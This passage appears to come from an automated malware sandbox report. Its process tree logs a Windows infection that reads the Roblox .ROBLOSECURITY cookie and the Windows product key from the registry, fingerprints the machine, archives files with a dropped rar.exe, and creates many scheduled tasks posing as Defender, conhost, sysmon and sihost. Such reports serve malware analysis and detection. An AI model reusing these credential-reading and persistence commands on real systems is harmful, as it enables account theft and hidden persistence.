                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                              powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:6764
                                                                                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                PID:4448
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                  PID:4512
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                  powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                    PID:4384
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI51162\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\0IWAg.zip" *"
                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                    PID:5080
                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                      PID:6596
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\_MEI51162\rar.exe
                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\_MEI51162\rar.exe a -r -hp"1" "C:\Users\Admin\AppData\Local\Temp\0IWAg.zip" *
                                                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                      PID:2656
                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                      PID:6784
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                        PID:6424
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                        wmic os get Caption
                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                          PID:6164
                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                                          PID:4428
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                            PID:6804
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                            wmic computersystem get totalphysicalmemory
                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                              PID:7004
                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                                              PID:1880
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                PID:3216
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                wmic csproduct get uuid
                                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                                  PID:2008
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                  PID:4396
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                    PID:1604
                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                    powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                                                      PID:2404
                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                      PID:5872
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                        PID:7144
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                        wmic path win32_VideoController get name
                                                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                                                        • Detects videocard installed
                                                                                                                                                                                                                                                                                                                        PID:6764
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                                                        PID:5084
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                                                            PID:4612
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                                                              PID:5580
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\Msvchost.exe
                                                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\Msvchost.exe"
                                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                                        • Checks computer location settings
                                                                                                                                                                                                                                                                                                                        • Drops startup file
                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                        • Adds Run key to start application
                                                                                                                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                                                        PID:1592
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Microsoft_WindowsDefender" /tr "C:\Users\Admin\AppData\Roaming\Microsoft_WindowsDefender.exe"
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                          PID:2540
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /delete /f /tn "Microsoft_WindowsDefender"
                                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                                            PID:1812
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                                                              PID:3676
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpF98F.tmp.bat""
                                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                                              PID:4768
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                                                                  PID:2352
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\timeout.exe
                                                                                                                                                                                                                                                                                                                                  timeout 3
                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                                                                  PID:6628
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:3560
                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:3756
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                              • Modifies registry class
                                                                                                                                                                                                                                                                                                                              • Suspicious use of UnmapMainImage
                                                                                                                                                                                                                                                                                                                              PID:3904
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                              • Suspicious use of UnmapMainImage
                                                                                                                                                                                                                                                                                                                              PID:3788
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:748
                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:440
                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:2888
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                    PID:1020
                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
                                                                                                                                                                                                                                                                                                                                    "C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                                                                                                                    PID:1800
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\SppExtComObj.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\SppExtComObj.exe -Embedding
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:4496
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\svchost.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:2408
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\DllHost.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:5000
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                          • Suspicious use of UnmapMainImage
                                                                                                                                                                                                                                                                                                                                          PID:2976
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:1000
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\RuntimeBroker.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\RuntimeBroker.exe -Embedding
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                                                                                                                            PID:348
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\wbem\wmiprvse.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                                            • Writes to the Master Boot Record (MBR)
                                                                                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                                                                            PID:5104
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 13 /tr "'C:\Windows\Globalization\Time Zone\conhost.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:5680
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\Globalization\Time Zone\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:2100
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\Globalization\Time Zone\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:4228
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Webdriversession\conhost.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:5080
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Webdriversession\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6416
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 8 /tr "'C:\Webdriversession\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6684
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 12 /tr "'C:\Webdriversession\cmd.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6888
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "cmd" /sc ONLOGON /tr "'C:\Webdriversession\cmd.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6952
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "cmdc" /sc MINUTE /mo 8 /tr "'C:\Webdriversession\cmd.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6236
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 7 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6476
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "sysmon" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6796
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "sysmons" /sc MINUTE /mo 9 /tr "'C:\Recovery\WindowsRE\sysmon.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6548
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 8 /tr "'C:\Windows\ImmersiveControlPanel\sihost.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:7020
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Windows\ImmersiveControlPanel\sihost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:7132
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 10 /tr "'C:\Windows\ImmersiveControlPanel\sihost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:1696
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 6 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\conhost.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:5988
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:7128
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 14 /tr "'C:\Program Files\Windows Security\BrowserCore\en-US\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:3748
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 11 /tr "'C:\Windows\de-DE\conhost.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6808
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhost" /sc ONLOGON /tr "'C:\Windows\de-DE\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:1128
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "conhostc" /sc MINUTE /mo 9 /tr "'C:\Windows\de-DE\conhost.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:6400
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "tasklistt" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Templates\tasklist.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:3684
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "tasklist" /sc ONLOGON /tr "'C:\Users\All Users\Templates\tasklist.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:5320
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "tasklistt" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Templates\tasklist.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:3132
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "Microsoft_RM" /sc MINUTE /mo 5 /tr "'C:\Users\All Users\Documents\Microsoft_R.exe'" /f
                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                                                                              PID:5740
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                              schtasks.exe /create /tn "Microsoft_R" /sc ONLOGON /tr "'C:\Users\All Users\Documents\Microsoft_R.exe'" /rl HIGHEST /f
                                                                                                                                                                                                                                                                                                                                              2⤵
